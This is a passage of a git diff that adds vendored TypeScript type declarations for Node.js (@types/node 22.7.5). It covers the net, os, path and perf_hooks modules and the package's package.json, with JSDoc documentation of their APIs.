* Sets the default value of the `autoSelectFamily` option of `socket.connect(options)`. + * @since v19.4.0 + */ + function setDefaultAutoSelectFamily(value: boolean): void; + /** + * Gets the current default value of the `autoSelectFamilyAttemptTimeout` option of `socket.connect(options)`. + * The initial default value is `250` or the value specified via the command line option `--network-family-autoselection-attempt-timeout`. + * @returns The current default value of the `autoSelectFamilyAttemptTimeout` option. + * @since v19.8.0, v18.8.0 + */ + function getDefaultAutoSelectFamilyAttemptTimeout(): number; + /** + * Sets the default value of the `autoSelectFamilyAttemptTimeout` option of `socket.connect(options)`. + * @param value The new default value, which must be a positive number. If the number is less than `10`, the value `10` is used instead. The initial default value is `250` or the value specified via the command line + * option `--network-family-autoselection-attempt-timeout`. + * @since v19.8.0, v18.8.0 + */ + function setDefaultAutoSelectFamilyAttemptTimeout(value: number): void; + /** + * Returns `6` if `input` is an IPv6 address. Returns `4` if `input` is an IPv4 + * address in [dot-decimal notation](https://en.wikipedia.org/wiki/Dot-decimal_notation) with no leading zeroes. Otherwise, returns`0`. + * + * ```js + * net.isIP('::1'); // returns 6 + * net.isIP('127.0.0.1'); // returns 4 + * net.isIP('127.000.000.001'); // returns 0 + * net.isIP('127.0.0.1/24'); // returns 0 + * net.isIP('fhqwhgads'); // returns 0 + * ``` + * @since v0.3.0 + */ + function isIP(input: string): number; + /** + * Returns `true` if `input` is an IPv4 address in [dot-decimal notation](https://en.wikipedia.org/wiki/Dot-decimal_notation) with no + * leading zeroes. Otherwise, returns `false`. + * + * ```js + * net.isIPv4('127.0.0.1'); // returns true + * net.isIPv4('127.000.000.001'); // returns false + * net.isIPv4('127.0.0.1/24'); // returns false + * net.isIPv4('fhqwhgads'); // returns false + * ``` + * @since v0.3.0 + */ + function isIPv4(input: string): boolean; + /** + * Returns `true` if `input` is an IPv6 address. Otherwise, returns `false`. + * + * ```js + * net.isIPv6('::1'); // returns true + * net.isIPv6('fhqwhgads'); // returns false + * ``` + * @since v0.3.0 + */ + function isIPv6(input: string): boolean; + interface SocketAddressInitOptions { + /** + * The network address as either an IPv4 or IPv6 string. + * @default 127.0.0.1 + */ + address?: string | undefined; + /** + * @default `'ipv4'` + */ + family?: IPVersion | undefined; + /** + * An IPv6 flow-label used only if `family` is `'ipv6'`. + * @default 0 + */ + flowlabel?: number | undefined; + /** + * An IP port. + * @default 0 + */ + port?: number | undefined; + } + /** + * @since v15.14.0, v14.18.0 + */ + class SocketAddress { + constructor(options: SocketAddressInitOptions); + /** + * Either \`'ipv4'\` or \`'ipv6'\`. + * @since v15.14.0, v14.18.0 + */ + readonly address: string; + /** + * Either \`'ipv4'\` or \`'ipv6'\`. + * @since v15.14.0, v14.18.0 + */ + readonly family: IPVersion; + /** + * @since v15.14.0, v14.18.0 + */ + readonly port: number; + /** + * @since v15.14.0, v14.18.0 + */ + readonly flowlabel: number; + } +} +declare module "node:net" { + export * from "net"; +} diff --git a/node_modules/@types/node/os.d.ts b/node_modules/@types/node/os.d.ts new file mode 100644 index 000000000000..7f305358b004 --- /dev/null +++ b/node_modules/@types/node/os.d.ts @@ -0,0 +1,495 @@ +/** + * The `node:os` module provides operating system-related utility methods and + * properties. It can be accessed using: + * + * ```js + * import os from 'node:os'; + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/os.js) + */ +declare module "os" { + interface CpuInfo { + model: string; + speed: number; + times: { + /** The number of milliseconds the CPU has spent in user mode. */ + user: number; + /** The number of milliseconds the CPU has spent in nice mode. */ + nice: number; + /** The number of milliseconds the CPU has spent in sys mode. */ + sys: number; + /** The number of milliseconds the CPU has spent in idle mode. */ + idle: number; + /** The number of milliseconds the CPU has spent in irq mode. */ + irq: number; + }; + } + interface NetworkInterfaceBase { + address: string; + netmask: string; + mac: string; + internal: boolean; + cidr: string | null; + } + interface NetworkInterfaceInfoIPv4 extends NetworkInterfaceBase { + family: "IPv4"; + scopeid?: undefined; + } + interface NetworkInterfaceInfoIPv6 extends NetworkInterfaceBase { + family: "IPv6"; + scopeid: number; + } + interface UserInfo { + username: T; + uid: number; + gid: number; + shell: T | null; + homedir: T; + } + type NetworkInterfaceInfo = NetworkInterfaceInfoIPv4 | NetworkInterfaceInfoIPv6; + /** + * Returns the host name of the operating system as a string. + * @since v0.3.3 + */ + function hostname(): string; + /** + * Returns an array containing the 1, 5, and 15 minute load averages. + * + * The load average is a measure of system activity calculated by the operating + * system and expressed as a fractional number. + * + * The load average is a Unix-specific concept. On Windows, the return value is + * always `[0, 0, 0]`. + * @since v0.3.3 + */ + function loadavg(): number[]; + /** + * Returns the system uptime in number of seconds. + * @since v0.3.3 + */ + function uptime(): number; + /** + * Returns the amount of free system memory in bytes as an integer. + * @since v0.3.3 + */ + function freemem(): number; + /** + * Returns the total amount of system memory in bytes as an integer. + * @since v0.3.3 + */ + function totalmem(): number; + /** + * Returns an array of objects containing information about each logical CPU core. + * The array will be empty if no CPU information is available, such as if the `/proc` file system is unavailable. + * + * The properties included on each object include: + * + * ```js + * [ + * { + * model: 'Intel(R) Core(TM) i7 CPU 860 @ 2.80GHz', + * speed: 2926, + * times: { + * user: 252020, + * nice: 0, + * sys: 30340, + * idle: 1070356870, + * irq: 0, + * }, + * }, + * { + * model: 'Intel(R) Core(TM) i7 CPU 860 @ 2.80GHz', + * speed: 2926, + * times: { + * user: 306960, + * nice: 0, + * sys: 26980, + * idle: 1071569080, + * irq: 0, + * }, + * }, + * { + * model: 'Intel(R) Core(TM) i7 CPU 860 @ 2.80GHz', + * speed: 2926, + * times: { + * user: 248450, + * nice: 0, + * sys: 21750, + * idle: 1070919370, + * irq: 0, + * }, + * }, + * { + * model: 'Intel(R) Core(TM) i7 CPU 860 @ 2.80GHz', + * speed: 2926, + * times: { + * user: 256880, + * nice: 0, + * sys: 19430, + * idle: 1070905480, + * irq: 20, + * }, + * }, + * ] + * ``` + * + * `nice` values are POSIX-only. On Windows, the `nice` values of all processors + * are always 0. + * + * `os.cpus().length` should not be used to calculate the amount of parallelism + * available to an application. Use {@link availableParallelism} for this purpose. + * @since v0.3.3 + */ + function cpus(): CpuInfo[]; + /** + * Returns an estimate of the default amount of parallelism a program should use. + * Always returns a value greater than zero. + * + * This function is a small wrapper about libuv's [`uv_available_parallelism()`](https://docs.libuv.org/en/v1.x/misc.html#c.uv_available_parallelism). + * @since v19.4.0, v18.14.0 + */ + function availableParallelism(): number; + /** + * Returns the operating system name as returned by [`uname(3)`](https://linux.die.net/man/3/uname). For example, it + * returns `'Linux'` on Linux, `'Darwin'` on macOS, and `'Windows_NT'` on Windows. + * + * See [https://en.wikipedia.org/wiki/Uname#Examples](https://en.wikipedia.org/wiki/Uname#Examples) for additional information + * about the output of running [`uname(3)`](https://linux.die.net/man/3/uname) on various operating systems. + * @since v0.3.3 + */ + function type(): string; + /** + * Returns the operating system as a string. + * + * On POSIX systems, the operating system release is determined by calling [`uname(3)`](https://linux.die.net/man/3/uname). On Windows, `GetVersionExW()` is used. See + * [https://en.wikipedia.org/wiki/Uname#Examples](https://en.wikipedia.org/wiki/Uname#Examples) for more information. + * @since v0.3.3 + */ + function release(): string; + /** + * Returns an object containing network interfaces that have been assigned a + * network address. + * + * Each key on the returned object identifies a network interface. The associated + * value is an array of objects that each describe an assigned network address. + * + * The properties available on the assigned network address object include: + * + * ```js + * { + * lo: [ + * { + * address: '127.0.0.1', + * netmask: '255.0.0.0', + * family: 'IPv4', + * mac: '00:00:00:00:00:00', + * internal: true, + * cidr: '127.0.0.1/8' + * }, + * { + * address: '::1', + * netmask: 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff', + * family: 'IPv6', + * mac: '00:00:00:00:00:00', + * scopeid: 0, + * internal: true, + * cidr: '::1/128' + * } + * ], + * eth0: [ + * { + * address: '192.168.1.108', + * netmask: '255.255.255.0', + * family: 'IPv4', + * mac: '01:02:03:0a:0b:0c', + * internal: false, + * cidr: '192.168.1.108/24' + * }, + * { + * address: 'fe80::a00:27ff:fe4e:66a1', + * netmask: 'ffff:ffff:ffff:ffff::', + * family: 'IPv6', + * mac: '01:02:03:0a:0b:0c', + * scopeid: 1, + * internal: false, + * cidr: 'fe80::a00:27ff:fe4e:66a1/64' + * } + * ] + * } + * ``` + * @since v0.6.0 + */ + function networkInterfaces(): NodeJS.Dict; + /** + * Returns the string path of the current user's home directory. + * + * On POSIX, it uses the `$HOME` environment variable if defined. Otherwise it + * uses the [effective UID](https://en.wikipedia.org/wiki/User_identifier#Effective_user_ID) to look up the user's home directory. + * + * On Windows, it uses the `USERPROFILE` environment variable if defined. + * Otherwise it uses the path to the profile directory of the current user. + * @since v2.3.0 + */ + function homedir(): string; + /** + * Returns information about the currently effective user. On POSIX platforms, + * this is typically a subset of the password file. The returned object includes + * the `username`, `uid`, `gid`, `shell`, and `homedir`. On Windows, the `uid` and `gid` fields are `-1`, and `shell` is `null`. + * + * The value of `homedir` returned by `os.userInfo()` is provided by the operating + * system. This differs from the result of `os.homedir()`, which queries + * environment variables for the home directory before falling back to the + * operating system response. + * + * Throws a [`SystemError`](https://nodejs.org/docs/latest-v22.x/api/errors.html#class-systemerror) if a user has no `username` or `homedir`. + * @since v6.0.0 + */ + function userInfo(options: { encoding: "buffer" }): UserInfo; + function userInfo(options?: { encoding: BufferEncoding }): UserInfo; + type SignalConstants = { + [key in NodeJS.Signals]: number; + }; + namespace constants { + const UV_UDP_REUSEADDR: number; + namespace signals {} + const signals: SignalConstants; + namespace errno { + const E2BIG: number; + const EACCES: number; + const EADDRINUSE: number; + const EADDRNOTAVAIL: number; + const EAFNOSUPPORT: number; + const EAGAIN: number; + const EALREADY: number; + const EBADF: number; + const EBADMSG: number; + const EBUSY: number; + const ECANCELED: number; + const ECHILD: number; + const ECONNABORTED: number; + const ECONNREFUSED: number; + const ECONNRESET: number; + const EDEADLK: number; + const EDESTADDRREQ: number; + const EDOM: number; + const EDQUOT: number; + const EEXIST: number; + const EFAULT: number; + const EFBIG: number; + const EHOSTUNREACH: number; + const EIDRM: number; + const EILSEQ: number; + const EINPROGRESS: number; + const EINTR: number; + const EINVAL: number; + const EIO: number; + const EISCONN: number; + const EISDIR: number; + const ELOOP: number; + const EMFILE: number; + const EMLINK: number; + const EMSGSIZE: number; + const EMULTIHOP: number; + const ENAMETOOLONG: number; + const ENETDOWN: number; + const ENETRESET: number; + const ENETUNREACH: number; + const ENFILE: number; + const ENOBUFS: number; + const ENODATA: number; + const ENODEV: number; + const ENOENT: number; + const ENOEXEC: number; + const ENOLCK: number; + const ENOLINK: number; + const ENOMEM: number; + const ENOMSG: number; + const ENOPROTOOPT: number; + const ENOSPC: number; + const ENOSR: number; + const ENOSTR: number; + const ENOSYS: number; + const ENOTCONN: number; + const ENOTDIR: number; + const ENOTEMPTY: number; + const ENOTSOCK: number; + const ENOTSUP: number; + const ENOTTY: number; + const ENXIO: number; + const EOPNOTSUPP: number; + const EOVERFLOW: number; + const EPERM: number; + const EPIPE: number; + const EPROTO: number; + const EPROTONOSUPPORT: number; + const EPROTOTYPE: number; + const ERANGE: number; + const EROFS: number; + const ESPIPE: number; + const ESRCH: number; + const ESTALE: number; + const ETIME: number; + const ETIMEDOUT: number; + const ETXTBSY: number; + const EWOULDBLOCK: number; + const EXDEV: number; + const WSAEINTR: number; + const WSAEBADF: number; + const WSAEACCES: number; + const WSAEFAULT: number; + const WSAEINVAL: number; + const WSAEMFILE: number; + const WSAEWOULDBLOCK: number; + const WSAEINPROGRESS: number; + const WSAEALREADY: number; + const WSAENOTSOCK: number; + const WSAEDESTADDRREQ: number; + const WSAEMSGSIZE: number; + const WSAEPROTOTYPE: number; + const WSAENOPROTOOPT: number; + const WSAEPROTONOSUPPORT: number; + const WSAESOCKTNOSUPPORT: number; + const WSAEOPNOTSUPP: number; + const WSAEPFNOSUPPORT: number; + const WSAEAFNOSUPPORT: number; + const WSAEADDRINUSE: number; + const WSAEADDRNOTAVAIL: number; + const WSAENETDOWN: number; + const WSAENETUNREACH: number; + const WSAENETRESET: number; + const WSAECONNABORTED: number; + const WSAECONNRESET: number; + const WSAENOBUFS: number; + const WSAEISCONN: number; + const WSAENOTCONN: number; + const WSAESHUTDOWN: number; + const WSAETOOMANYREFS: number; + const WSAETIMEDOUT: number; + const WSAECONNREFUSED: number; + const WSAELOOP: number; + const WSAENAMETOOLONG: number; + const WSAEHOSTDOWN: number; + const WSAEHOSTUNREACH: number; + const WSAENOTEMPTY: number; + const WSAEPROCLIM: number; + const WSAEUSERS: number; + const WSAEDQUOT: number; + const WSAESTALE: number; + const WSAEREMOTE: number; + const WSASYSNOTREADY: number; + const WSAVERNOTSUPPORTED: number; + const WSANOTINITIALISED: number; + const WSAEDISCON: number; + const WSAENOMORE: number; + const WSAECANCELLED: number; + const WSAEINVALIDPROCTABLE: number; + const WSAEINVALIDPROVIDER: number; + const WSAEPROVIDERFAILEDINIT: number; + const WSASYSCALLFAILURE: number; + const WSASERVICE_NOT_FOUND: number; + const WSATYPE_NOT_FOUND: number; + const WSA_E_NO_MORE: number; + const WSA_E_CANCELLED: number; + const WSAEREFUSED: number; + } + namespace dlopen { + const RTLD_LAZY: number; + const RTLD_NOW: number; + const RTLD_GLOBAL: number; + const RTLD_LOCAL: number; + const RTLD_DEEPBIND: number; + } + namespace priority { + const PRIORITY_LOW: number; + const PRIORITY_BELOW_NORMAL: number; + const PRIORITY_NORMAL: number; + const PRIORITY_ABOVE_NORMAL: number; + const PRIORITY_HIGH: number; + const PRIORITY_HIGHEST: number; + } + } + const devNull: string; + /** + * The operating system-specific end-of-line marker. + * * `\n` on POSIX + * * `\r\n` on Windows + */ + const EOL: string; + /** + * Returns the operating system CPU architecture for which the Node.js binary was + * compiled. Possible values are `'arm'`, `'arm64'`, `'ia32'`, `'loong64'`, `'mips'`, `'mipsel'`, `'ppc'`, `'ppc64'`, `'riscv64'`, `'s390'`, `'s390x'`, + * and `'x64'`. + * + * The return value is equivalent to [process.arch](https://nodejs.org/docs/latest-v22.x/api/process.html#processarch). + * @since v0.5.0 + */ + function arch(): string; + /** + * Returns a string identifying the kernel version. + * + * On POSIX systems, the operating system release is determined by calling [`uname(3)`](https://linux.die.net/man/3/uname). On Windows, `RtlGetVersion()` is used, and if it is not + * available, `GetVersionExW()` will be used. See [https://en.wikipedia.org/wiki/Uname#Examples](https://en.wikipedia.org/wiki/Uname#Examples) for more information. + * @since v13.11.0, v12.17.0 + */ + function version(): string; + /** + * Returns a string identifying the operating system platform for which + * the Node.js binary was compiled. The value is set at compile time. + * Possible values are `'aix'`, `'darwin'`, `'freebsd'`, `'linux'`, `'openbsd'`, `'sunos'`, and `'win32'`. + * + * The return value is equivalent to `process.platform`. + * + * The value `'android'` may also be returned if Node.js is built on the Android + * operating system. [Android support is experimental](https://github.com/nodejs/node/blob/HEAD/BUILDING.md#androidandroid-based-devices-eg-firefox-os). + * @since v0.5.0 + */ + function platform(): NodeJS.Platform; + /** + * Returns the machine type as a string, such as `arm`, `arm64`, `aarch64`, `mips`, `mips64`, `ppc64`, `ppc64le`, `s390`, `s390x`, `i386`, `i686`, `x86_64`. + * + * On POSIX systems, the machine type is determined by calling [`uname(3)`](https://linux.die.net/man/3/uname). On Windows, `RtlGetVersion()` is used, and if it is not + * available, `GetVersionExW()` will be used. See [https://en.wikipedia.org/wiki/Uname#Examples](https://en.wikipedia.org/wiki/Uname#Examples) for more information. + * @since v18.9.0, v16.18.0 + */ + function machine(): string; + /** + * Returns the operating system's default directory for temporary files as a + * string. + * @since v0.9.9 + */ + function tmpdir(): string; + /** + * Returns a string identifying the endianness of the CPU for which the Node.js + * binary was compiled. + * + * Possible values are `'BE'` for big endian and `'LE'` for little endian. + * @since v0.9.4 + */ + function endianness(): "BE" | "LE"; + /** + * Returns the scheduling priority for the process specified by `pid`. If `pid` is + * not provided or is `0`, the priority of the current process is returned. + * @since v10.10.0 + * @param [pid=0] The process ID to retrieve scheduling priority for. + */ + function getPriority(pid?: number): number; + /** + * Attempts to set the scheduling priority for the process specified by `pid`. If `pid` is not provided or is `0`, the process ID of the current process is used. + * + * The `priority` input must be an integer between `-20` (high priority) and `19` (low priority). Due to differences between Unix priority levels and Windows + * priority classes, `priority` is mapped to one of six priority constants in `os.constants.priority`. When retrieving a process priority level, this range + * mapping may cause the return value to be slightly different on Windows. To avoid + * confusion, set `priority` to one of the priority constants. + * + * On Windows, setting priority to `PRIORITY_HIGHEST` requires elevated user + * privileges. Otherwise the set priority will be silently reduced to `PRIORITY_HIGH`. + * @since v10.10.0 + * @param [pid=0] The process ID to set scheduling priority for. + * @param priority The scheduling priority to assign to the process. + */ + function setPriority(priority: number): void; + function setPriority(pid: number, priority: number): void; +} +declare module "node:os" { + export * from "os"; +} diff --git a/node_modules/@types/node/package.json b/node_modules/@types/node/package.json new file mode 100644 index 000000000000..7d3c9423abc4 --- /dev/null +++ b/node_modules/@types/node/package.json @@ -0,0 +1,224 @@ +{ + "name": "@types/node", + "version": "22.7.5", + "description": "TypeScript definitions for node", + "homepage": "https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node", + "license": "MIT", + "contributors": [ + { + "name": "Microsoft TypeScript", + "githubUsername": "Microsoft", + "url": "https://github.com/Microsoft" + }, + { + "name": "Alberto Schiabel", + "githubUsername": "jkomyno", + "url": "https://github.com/jkomyno" + }, + { + "name": "Alvis HT Tang", + "githubUsername": "alvis", + "url": "https://github.com/alvis" + }, + { + "name": "Andrew Makarov", + "githubUsername": "r3nya", + "url": "https://github.com/r3nya" + }, + { + "name": "Benjamin Toueg", + "githubUsername": "btoueg", + "url": "https://github.com/btoueg" + }, + { + "name": "Chigozirim C.", + "githubUsername": "smac89", + "url": "https://github.com/smac89" + }, + { + "name": "David Junger", + "githubUsername": "touffy", + "url": "https://github.com/touffy" + }, + { + "name": "Deividas Bakanas", + "githubUsername": "DeividasBakanas", + "url": "https://github.com/DeividasBakanas" + }, + { + "name": "Eugene Y. Q. Shen", + "githubUsername": "eyqs", + "url": "https://github.com/eyqs" + }, + { + "name": "Hannes Magnusson", + "githubUsername": "Hannes-Magnusson-CK", + "url": "https://github.com/Hannes-Magnusson-CK" + }, + { + "name": "Huw", + "githubUsername": "hoo29", + "url": "https://github.com/hoo29" + }, + { + "name": "Kelvin Jin", + "githubUsername": "kjin", + "url": "https://github.com/kjin" + }, + { + "name": "Klaus Meinhardt", + "githubUsername": "ajafff", + "url": "https://github.com/ajafff" + }, + { + "name": "Lishude", + "githubUsername": "islishude", + "url": "https://github.com/islishude" + }, + { + "name": "Mariusz Wiktorczyk", + "githubUsername": "mwiktorczyk", + "url": "https://github.com/mwiktorczyk" + }, + { + "name": "Mohsen Azimi", + "githubUsername": "mohsen1", + "url": "https://github.com/mohsen1" + }, + { + "name": "Nikita Galkin", + "githubUsername": "galkin", + "url": "https://github.com/galkin" + }, + { + "name": "Parambir Singh", + "githubUsername": "parambirs", + "url": "https://github.com/parambirs" + }, + { + "name": "Sebastian Silbermann", + "githubUsername": "eps1lon", + "url": "https://github.com/eps1lon" + }, + { + "name": "Thomas den Hollander", + "githubUsername": "ThomasdenH", + "url": "https://github.com/ThomasdenH" + }, + { + "name": "Wilco Bakker", + "githubUsername": "WilcoBakker", + "url": "https://github.com/WilcoBakker" + }, + { + "name": "wwwy3y3", + "githubUsername": "wwwy3y3", + "url": "https://github.com/wwwy3y3" + }, + { + "name": "Samuel Ainsworth", + "githubUsername": "samuela", + "url": "https://github.com/samuela" + }, + { + "name": "Kyle Uehlein", + "githubUsername": "kuehlein", + "url": "https://github.com/kuehlein" + }, + { + "name": "Thanik Bhongbhibhat", + "githubUsername": "bhongy", + "url": "https://github.com/bhongy" + }, + { + "name": "Marcin Kopacz", + "githubUsername": "chyzwar", + "url": "https://github.com/chyzwar" + }, + { + "name": "Trivikram Kamat", + "githubUsername": "trivikr", + "url": "https://github.com/trivikr" + }, + { + "name": "Junxiao Shi", + "githubUsername": "yoursunny", + "url": "https://github.com/yoursunny" + }, + { + "name": "Ilia Baryshnikov", + "githubUsername": "qwelias", + "url": "https://github.com/qwelias" + }, + { + "name": "ExE Boss", + "githubUsername": "ExE-Boss", + "url": "https://github.com/ExE-Boss" + }, + { + "name": "Piotr Błażejewicz", + "githubUsername": "peterblazejewicz", + "url": "https://github.com/peterblazejewicz" + }, + { + "name": "Anna Henningsen", + "githubUsername": "addaleax", + "url": "https://github.com/addaleax" + }, + { + "name": "Victor Perin", + "githubUsername": "victorperin", + "url": "https://github.com/victorperin" + }, + { + "name": "Yongsheng Zhang", + "githubUsername": "ZYSzys", + "url": "https://github.com/ZYSzys" + }, + { + "name": "NodeJS Contributors", + "githubUsername": "NodeJS", + "url": "https://github.com/NodeJS" + }, + { + "name": "Linus Unnebäck", + "githubUsername": "LinusU", + "url": "https://github.com/LinusU" + }, + { + "name": "wafuwafu13", + "githubUsername": "wafuwafu13", + "url": "https://github.com/wafuwafu13" + }, + { + "name": "Matteo Collina", + "githubUsername": "mcollina", + "url": "https://github.com/mcollina" + }, + { + "name": "Dmitry Semigradsky", + "githubUsername": "Semigradsky", + "url": "https://github.com/Semigradsky" + } + ], + "main": "", + "types": "index.d.ts", + "typesVersions": { + "<=5.6": { + "*": [ + "ts5.6/*" + ] + } + }, + "repository": { + "type": "git", + "url": "https://github.com/DefinitelyTyped/DefinitelyTyped.git", + "directory": "types/node" + }, + "scripts": {}, + "dependencies": { + "undici-types": "~6.19.2" + }, + "typesPublisherContentHash": "09f00b18839b10dc7208a5ca277bf956cc26a57727a134678112fc8fc609127b", + "typeScriptVersion": "4.8" +} \ No newline at end of file diff --git a/node_modules/@types/node/path.d.ts b/node_modules/@types/node/path.d.ts new file mode 100644 index 000000000000..25bfc802b66f --- /dev/null +++ b/node_modules/@types/node/path.d.ts @@ -0,0 +1,200 @@ +declare module "path/posix" { + import path = require("path"); + export = path; +} +declare module "path/win32" { + import path = require("path"); + export = path; +} +/** + * The `node:path` module provides utilities for working with file and directory + * paths. It can be accessed using: + * + * ```js + * import path from 'node:path'; + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/path.js) + */ +declare module "path" { + namespace path { + /** + * A parsed path object generated by path.parse() or consumed by path.format(). + */ + interface ParsedPath { + /** + * The root of the path such as '/' or 'c:\' + */ + root: string; + /** + * The full directory path such as '/home/user/dir' or 'c:\path\dir' + */ + dir: string; + /** + * The file name including extension (if any) such as 'index.html' + */ + base: string; + /** + * The file extension (if any) such as '.html' + */ + ext: string; + /** + * The file name without extension (if any) such as 'index' + */ + name: string; + } + interface FormatInputPathObject { + /** + * The root of the path such as '/' or 'c:\' + */ + root?: string | undefined; + /** + * The full directory path such as '/home/user/dir' or 'c:\path\dir' + */ + dir?: string | undefined; + /** + * The file name including extension (if any) such as 'index.html' + */ + base?: string | undefined; + /** + * The file extension (if any) such as '.html' + */ + ext?: string | undefined; + /** + * The file name without extension (if any) such as 'index' + */ + name?: string | undefined; + } + interface PlatformPath { + /** + * Normalize a string path, reducing '..' and '.' parts. + * When multiple slashes are found, they're replaced by a single one; when the path contains a trailing slash, it is preserved. On Windows backslashes are used. + * + * @param path string path to normalize. + * @throws {TypeError} if `path` is not a string. + */ + normalize(path: string): string; + /** + * Join all arguments together and normalize the resulting path. + * + * @param paths paths to join. + * @throws {TypeError} if any of the path segments is not a string. + */ + join(...paths: string[]): string; + /** + * The right-most parameter is considered {to}. Other parameters are considered an array of {from}. + * + * Starting from leftmost {from} parameter, resolves {to} to an absolute path. + * + * If {to} isn't already absolute, {from} arguments are prepended in right to left order, + * until an absolute path is found. If after using all {from} paths still no absolute path is found, + * the current working directory is used as well. The resulting path is normalized, + * and trailing slashes are removed unless the path gets resolved to the root directory. + * + * @param paths A sequence of paths or path segments. + * @throws {TypeError} if any of the arguments is not a string. + */ + resolve(...paths: string[]): string; + /** + * The `path.matchesGlob()` method determines if `path` matches the `pattern`. + * @param path The path to glob-match against. + * @param pattern The glob to check the path against. + * @returns Whether or not the `path` matched the `pattern`. + * @throws {TypeError} if `path` or `pattern` are not strings. + * @since v22.5.0 + */ + matchesGlob(path: string, pattern: string): boolean; + /** + * Determines whether {path} is an absolute path. An absolute path will always resolve to the same location, regardless of the working directory. + * + * If the given {path} is a zero-length string, `false` will be returned. + * + * @param path path to test. + * @throws {TypeError} if `path` is not a string. + */ + isAbsolute(path: string): boolean; + /** + * Solve the relative path from {from} to {to} based on the current working directory. + * At times we have two absolute paths, and we need to derive the relative path from one to the other. This is actually the reverse transform of path.resolve. + * + * @throws {TypeError} if either `from` or `to` is not a string. + */ + relative(from: string, to: string): string; + /** + * Return the directory name of a path. Similar to the Unix dirname command. + * + * @param path the path to evaluate. + * @throws {TypeError} if `path` is not a string. + */ + dirname(path: string): string; + /** + * Return the last portion of a path. Similar to the Unix basename command. + * Often used to extract the file name from a fully qualified path. + * + * @param path the path to evaluate. + * @param suffix optionally, an extension to remove from the result. + * @throws {TypeError} if `path` is not a string or if `ext` is given and is not a string. + */ + basename(path: string, suffix?: string): string; + /** + * Return the extension of the path, from the last '.' to end of string in the last portion of the path. + * If there is no '.' in the last portion of the path or the first character of it is '.', then it returns an empty string. + * + * @param path the path to evaluate. + * @throws {TypeError} if `path` is not a string. + */ + extname(path: string): string; + /** + * The platform-specific file separator. '\\' or '/'. + */ + readonly sep: "\\" | "/"; + /** + * The platform-specific file delimiter. ';' or ':'. + */ + readonly delimiter: ";" | ":"; + /** + * Returns an object from a path string - the opposite of format(). + * + * @param path path to evaluate. + * @throws {TypeError} if `path` is not a string. + */ + parse(path: string): ParsedPath; + /** + * Returns a path string from an object - the opposite of parse(). + * + * @param pathObject path to evaluate. + */ + format(pathObject: FormatInputPathObject): string; + /** + * On Windows systems only, returns an equivalent namespace-prefixed path for the given path. + * If path is not a string, path will be returned without modifications. + * This method is meaningful only on Windows system. + * On POSIX systems, the method is non-operational and always returns path without modifications. + */ + toNamespacedPath(path: string): string; + /** + * Posix specific pathing. + * Same as parent object on posix. + */ + readonly posix: PlatformPath; + /** + * Windows specific pathing. + * Same as parent object on windows + */ + readonly win32: PlatformPath; + } + } + const path: path.PlatformPath; + export = path; +} +declare module "node:path" { + import path = require("path"); + export = path; +} +declare module "node:path/posix" { + import path = require("path/posix"); + export = path; +} +declare module "node:path/win32" { + import path = require("path/win32"); + export = path; +} diff --git a/node_modules/@types/node/perf_hooks.d.ts b/node_modules/@types/node/perf_hooks.d.ts new file mode 100644 index 000000000000..bffdd3eec8ac --- /dev/null +++ b/node_modules/@types/node/perf_hooks.d.ts @@ -0,0 +1,941 @@ +/** + * This module provides an implementation of a subset of the W3C [Web Performance APIs](https://w3c.github.io/perf-timing-primer/) as well as additional APIs for + * Node.js-specific performance measurements. + * + * Node.js supports the following [Web Performance APIs](https://w3c.github.io/perf-timing-primer/): + * + * * [High Resolution Time](https://www.w3.org/TR/hr-time-2) + * * [Performance Timeline](https://w3c.github.io/performance-timeline/) + * * [User Timing](https://www.w3.org/TR/user-timing/) + * * [Resource Timing](https://www.w3.org/TR/resource-timing-2/) + * + * ```js + * import { PerformanceObserver, performance } from 'node:perf_hooks'; + * + * const obs = new PerformanceObserver((items) => { + * console.log(items.getEntries()[0].duration); + * performance.clearMarks(); + * }); + * obs.observe({ type: 'measure' }); + * performance.measure('Start to Now'); + * + * performance.mark('A'); + * doSomeLongRunningProcess(() => { + * performance.measure('A to Now', 'A'); + * + * performance.mark('B'); + * performance.measure('A to B', 'A', 'B'); + * }); + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/perf_hooks.js) + */ +declare module "perf_hooks" { + import { AsyncResource } from "node:async_hooks"; + type EntryType = + | "dns" // Node.js only + | "function" // Node.js only + | "gc" // Node.js only + | "http2" // Node.js only + | "http" // Node.js only + | "mark" // available on the Web + | "measure" // available on the Web + | "net" // Node.js only + | "node" // Node.js only + | "resource"; // available on the Web + interface NodeGCPerformanceDetail { + /** + * When `performanceEntry.entryType` is equal to 'gc', the `performance.kind` property identifies + * the type of garbage collection operation that occurred. + * See perf_hooks.constants for valid values. + */ + readonly kind?: number | undefined; + /** + * When `performanceEntry.entryType` is equal to 'gc', the `performance.flags` + * property contains additional information about garbage collection operation. + * See perf_hooks.constants for valid values. + */ + readonly flags?: number | undefined; + } + /** + * The constructor of this class is not exposed to users directly. + * @since v8.5.0 + */ + class PerformanceEntry { + protected constructor(); + /** + * The total number of milliseconds elapsed for this entry. This value will not + * be meaningful for all Performance Entry types. + * @since v8.5.0 + */ + readonly duration: number; + /** + * The name of the performance entry. + * @since v8.5.0 + */ + readonly name: string; + /** + * The high resolution millisecond timestamp marking the starting time of the + * Performance Entry. + * @since v8.5.0 + */ + readonly startTime: number; + /** + * The type of the performance entry. It may be one of: + * + * * `'node'` (Node.js only) + * * `'mark'` (available on the Web) + * * `'measure'` (available on the Web) + * * `'gc'` (Node.js only) + * * `'function'` (Node.js only) + * * `'http2'` (Node.js only) + * * `'http'` (Node.js only) + * @since v8.5.0 + */ + readonly entryType: EntryType; + /** + * Additional detail specific to the `entryType`. + * @since v16.0.0 + */ + readonly detail?: NodeGCPerformanceDetail | unknown | undefined; // TODO: Narrow this based on entry type. + toJSON(): any; + } + /** + * Exposes marks created via the `Performance.mark()` method. + * @since v18.2.0, v16.17.0 + */ + class PerformanceMark extends PerformanceEntry { + readonly duration: 0; + readonly entryType: "mark"; + } + /** + * Exposes measures created via the `Performance.measure()` method. + * + * The constructor of this class is not exposed to users directly. + * @since v18.2.0, v16.17.0 + */ + class PerformanceMeasure extends PerformanceEntry { + readonly entryType: "measure"; + } + /** + * _This property is an extension by Node.js. It is not available in Web browsers._ + * + * Provides timing details for Node.js itself. The constructor of this class + * is not exposed to users. + * @since v8.5.0 + */ + class PerformanceNodeTiming extends PerformanceEntry { + readonly entryType: 